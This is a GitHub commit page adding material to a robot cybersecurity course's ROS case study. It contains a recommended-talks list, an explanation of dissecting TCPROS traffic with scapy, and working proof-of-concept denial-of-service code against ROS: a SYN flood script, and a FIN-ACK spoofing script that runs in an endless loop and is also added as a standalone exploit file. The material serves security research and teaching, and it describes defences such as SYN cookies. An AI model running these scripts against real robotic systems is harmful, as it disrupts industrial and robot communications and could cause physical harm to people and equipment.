Skip to content

Commit

Permalink
Add more bits to ROS use case
Browse files Browse the repository at this point in the history
Signed-off-by: Víctor Mayoral Vilches <[email protected]>
  • Loading branch information
vmayoral committed Dec 12, 2021
1 parent 70c25f4 commit 4135f38
Show file tree
Hide file tree
Showing 10 changed files with 1,334 additions and 6 deletions.
31 changes: 31 additions & 0 deletions 0_introduction/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -276,6 +276,37 @@ Investing in robot cybersecurity by either building your own security team or re
| Can ROS be used securely in industry? Red teaming ROS-Industrial [@mayoral2020can] | Red team ROS in an industrial environment to attempt answering the question: Can ROS be used securely for industrial use cases even though its origins didn't consider it? |
| Hacking planned obsolescense in robotics, towards security-oriented robot teardown [@mayoral2021hacking] | As robots get damaged or security compromised, their components will increasingly require updates and replacements. Contrary to the expectations, most manufacturers employ planned obsolescence practices and discourage repairs to evade competition. We introduce and advocate for robot teardown as an approach to study robot hardware architectures and fuel security research. We show how our approach helps uncovering security vulnerabilities, and provide evidence of planned obsolescence practices. |

## Recommended talks

- <ins>2016</ins>
- [Securing ROS over the wire, in the graph, and through the kernel](https://vimeo.com/187705073), ROSCon 2016
- <ins>2017</ins>
- [Hacking Robots Before Skynet](https://www.youtube.com/watch?v=LK43J-p1H3o), Ekoparty Security Conference 2017
- [An Experimental Security Analysis of an Industrial Robot Controller](https://www.youtube.com/watch?v=tGcNefddfZM), IEEE Symposium on Security and Privacy 2017
- [SROS: Current Progress and Developments](https://vimeo.com/236172830), ROSCon 2017
- [Breaking the Laws of Robotics: Attacking Industrial Robots](https://www.youtube.com/watch?v=RKLUWnzIaP4), Black Hat USA 2017
- <ins>2018</ins>
- [Introducing the Robot Security Framework](https://www.youtube.com/watch?v=Gv4O2Xw8MUk&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=11) (spanish), Navaja Negra Conference 2018
- [Arm DDS Security library: Adding secure security to ROS2](https://vimeo.com/292703899), ROSCon 2018
- [Leveraging DDS Security in ROS 2](https://vimeo.com/292703074), ROSCon 2018
- <ins>2019</ins>
- [Defensive and offensive robot security](https://www.youtube.com/watch?v=aEQgga_MnO8&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=9), ROS-Industrial Conference 2019
- [Black Block Recorder: Immutable Black Box Logging via rosbag2 and DLTs](https://vimeo.com/378682905), ROSCon 2019
- <ins>2020</ins>
- [Current security threat landscape in robotics](https://www.youtube.com/watch?v=5pWqROTERgU&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=10), European Robotics Forum (ERF) 2020
- [Security in ROS & ROS 2 robot setups](https://www.youtube.com/watch?v=n7BvyUgKP-M&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=11), European Robotics Forum (ERF) 2020
- [Akerbeltz, industrial robot ransomware](https://www.youtube.com/watch?v=5dYmpKH_3EM), International Workshop on Engineering Resilient Robot Software Systems, International Conference on Robotic Computing (IRC 2020).
- [Zero Trust Architecture in Robotics](https://www.youtube.com/watch?v=jfPw8gH1i2I), Workshop on Security and Privacy in Robotics, ICRA 2020
- [The cybersecurity status of PX4](https://www.youtube.com/watch?v=phHYfAqjOuQ&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=13), PX4 Developer Summit Virtual 2020
- [Detecting Insecure Code Patterns in Industrial Robot Programs](https://dl.acm.org/doi/10.1145/3320269.3384735#sec-supp), Proceedings of the 15th ACM Asia Conference on Computer and Communications Security 2020
- [Protecting robot endpoints against cyber-threats](https://www.youtube.com/watch?v=jo_L9Ra8UqU&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=14), ROS-Industrial Conference 2020
- [Robots and Privacy](https://www.youtube.com/watch?v=Yu3lgESCB8M), Shmoocon 2020
- <ins>2021</ins>
- [Uncovering Planned Obsolescence Practices in Robotics and What This Means for Cybersecurity](https://www.youtube.com/watch?v=PnVq_ThrDVI&list=PLf4Fnww4KiFdjCAfs04ynv40xbpqFPibm&index=15), BlackHat USA 2021
- The Data Distribution Service (DDS) Protocol is Critical: Let's Use it Securely! (*to appear*), BlackHat Europe 2021
- Breaking ROS 2 security assumptions: Targeting the top 6 DDS implementations (*to appear*), ROS-Industrial Conference 2021




[^1]: Stouffer, K., Falco, J., & Scarfone, K. (2011). Guide to industrial control systems (ICS) security. NIST special publication, 800(82), 16-16.
Expand Down
1 change: 1 addition & 0 deletions 1_case_studies/4_ros/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
# TODO
113 changes: 109 additions & 4 deletions 1_case_studies/4_ros/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,11 @@ This case study will analyze the security of ROS and demonstrate a few security
[^1]: ROS 2 is the second edition of ROS targeting commercial solutions and including additional capabilities. ROS 2 (Robot Operating System 2) is an open source software development kit for robotics applications. The purpose of ROS 2 is to offer a standard software platform to developers across industries that will carry them from research and prototyping through to deployment and production. ROS 2 builds on the success of ROS 1, which is used today in myriad robotics applications around the world.


### Dissecting ROS network interactions through RTPS
### Dissecting ROS network interactions through scapy

TCPROS is a transport layer for ROS Messages and Services. It uses standard TCP/IP sockets for transporting message data. Inbound connections are received via a TCP Server Socket with a header containing message data type and routing information. This class focuses on capturing the ROS Slave API.

Until it gets merged upstream (see TCPROS PR), you can get the TCPROS dissector as follows:
Until it gets merged upstream (see [TCPROS PR](https://github.com/secdev/scapy/pull/3462)), you can get the TCPROS dissector as follows:

```bash
pip3 install git+https://github.com/vmayoral/scapy@tcpros
Expand All @@ -23,8 +23,6 @@ An example package is presented below:

![](../../images/2021/ros_shutdown.png)

![A simple empty RTPS package](images/2021/ros_shutdown.pdf)

```python
from scapy.contrib.tcpros import *
bind_layers(TCP, TCPROS)
Expand Down Expand Up @@ -82,3 +80,110 @@ p = (
```

This package will invoke the `shutdown` method of ROS 2 Master, shutting it down, together with all its associated Nodes.

Let's take a look at other potential attacks against ROS.

### SYN-ACK DoS flooding attack for ROS

A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:


- the client sends a TCP `SYN` (`S` flag) packet to begin a connection with a given end-point (e.g. a server).
- the server responds with a `SYN-ACK` packet, particularly with a TCP `SYN-ACK` (`SA` flag) packet.
- the client responds back with an `ACK` (flag) packet. In normal operation, the client should send an `ACK` packet followed by the data to be transferred, or a `RST` reply to reset the connection. On the target server, the connection is kept open, in a `SYN_RECV` state, as the `ACK` packet may have been lost due to network problems.
- In the attack, to abuse this handshake process, an attacker can send a *SYN Flood*, a flood of `SYN` packets, and do nothing when the server responds with a `SYN-ACK` packet. The server politely waits for the other end to respond with an `ACK` packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.

A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:

```python
print("Capturing network traffic...")
packages = sniff(iface="eth0", filter="tcp", count=20)
targets = {}
for p in packages[TCPROSBody]:
# Filter by ip
# if p[IP].src == "12.0.0.2":
port = p.sport
ip = p[IP].src
if ip in targets.keys():
targets[ip].append(port)
else:
targets[ip] = [port]

# Get unique values:
for t in targets.keys():
targets[t] = list(set(targets[t]))

# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]

# Small fix to meet scapy syntax on "dport" key
# if single value, can't go as a list
if len(dport_target) < 2:
dport_target = dport_target[0]

p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"SYN Flood DoS"
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)
```

In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine's networking stack isn't properly configured. To defend against this attack, a user would need to set up their kernel's network stack appropriately. In particular, they'd need to ensure that `TCP SYN cookies` are enabled. `SYN cookies` work by not using the `SYN` queue at all. Instead, the kernel simply replies to the `SYN` with a `SYN-ACK`, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the `ACK` packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a `SY cookie` and allow the connection, even though there is no corresponding `SYN` in the queue.


### FIN-ACK flood attack targeting ROS

The previous `SYN-ACK` DoS flooding attack did not affect hardened control stations because it is blocked by `SYN cookies` at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).

After testing a variety of attacks against the ROS-Industrial network including `ACK and PUSH ACK` flooding, `ACK Fragmentation` flooding or `Spoofed Session` flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the `FIN-ACK` attack. Roughly, soon after a successful three or four-way `TCP-SYN` session is established, the `FIN-ACK` attack sends a `FIN` packet to close the `TCP-SYN` session between a host and a client machine. Given a `TCP-SYN` session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the `FIN-ACK` flood attack sends a large number of spoofed `FIN` packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient's resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.

The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.

```python
def tcpros_fin_ack():
"""
crafting a FIN ACK interrupting publisher's comms
"""
flag_valid = True
targetp = None
targetp_ack = None
# fetch 10 tcp packages
while flag_valid:
packages = sniff(iface="eth0", filter="tcp", count=4)
if len(packages[TCPROSBody]) < 1:
continue
else:
# find first TCPROSBody and pick a target
targetp = packages[TCPROSBody][-1] # pick latest instance
index = packages.index(packages[TCPROSBody][-1])
for i in range(index + 1, len(packages)):
targetp_ack = packages[i]
# check if the ack matches appropriately
if targetp[IP].src == targetp_ack[IP].dst and \
targetp[IP].dst == targetp_ack[IP].src and \
targetp[TCP].sport == targetp_ack[TCP].dport and \
targetp[TCP].dport == targetp_ack[TCP].sport and \
targetp[TCP].ack == targetp_ack[TCP].seq:
flag_valid = False
break

if not flag_valid and targetp_ack and targetp:
# Option 2
p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
ack=targetp_ack[TCP].seq)

ans = sr1(p_attack, retry=0, timeout=1)

if ans and len(ans) > 0 and ans[TCP].flags == "FA":
p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
ack=ans[TCP].seq + 1)
send(p_ack)

while True:
tcpros_fin_ack()
```

The following figure shows the result of the `FIN-ACK` attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target *under attack* shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.

![](../../images/2021/fin_ack_attack.png)
80 changes: 80 additions & 0 deletions 1_case_studies/4_ros/exploits/ros_fin_ack_dos.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
"""
FIN-ACK attack for ROS
DISCLAIMER: Use against your own hosts only! By no means I encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material damages.
"""

import sys

from scapy.all import *
from scapy.layers.inet import TCP
from scapy.layers.l2 import Ether
from scapy.contrib.tcpros import *

bind_layers(TCP, TCPROS)
bind_layers(HTTPRequest, XMLRPC)
bind_layers(HTTPResponse, XMLRPC)


# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)


def tcpros_fin_ack():
"""
crafting a FIN ACK interrupting publisher's comms
"""
flag_valid = True
targetp = None
targetp_ack = None
# fetch 10 tcp packages
while flag_valid:
packages = sniff(iface="eth0", filter="tcp", count=4)
if len(packages[TCPROSBody]) < 1:
continue
else:
# find first TCPROSBody and pick a target
targetp = packages[TCPROSBody][-1] # pick latest instance
index = packages.index(packages[TCPROSBody][-1])
for i in range(index + 1, len(packages)):
targetp_ack = packages[i]
# check if the ack matches appropriately
if (
targetp[IP].src == targetp_ack[IP].dst
and targetp[IP].dst == targetp_ack[IP].src
and targetp[TCP].sport == targetp_ack[TCP].dport
and targetp[TCP].dport == targetp_ack[TCP].sport
and targetp[TCP].ack == targetp_ack[TCP].seq
):
flag_valid = False
break

if not flag_valid and targetp_ack and targetp:
# Option 2
p_attack = IP(
src=targetp[IP].src, dst=targetp[IP].dst, id=targetp[IP].id + 1, ttl=99
) / TCP(
sport=targetp[TCP].sport,
dport=targetp[TCP].dport,
flags="FA",
seq=targetp_ack[TCP].ack,
ack=targetp_ack[TCP].seq,
)

ans = sr1(p_attack, retry=0, timeout=1)

if ans and len(ans) > 0 and ans[TCP].flags == "FA":
p_ack = IP(
src=targetp[IP].src, dst=targetp[IP].dst, id=targetp[IP].id + 1, ttl=99
) / TCP(
sport=targetp[TCP].sport,
dport=targetp[TCP].dport,
flags="A",
seq=ans[TCP].ack,
ack=ans[TCP].seq + 1,
)
send(p_ack)


while True:
tcpros_fin_ack()
Loading

0 comments on commit 4135f38

Please sign in to comment.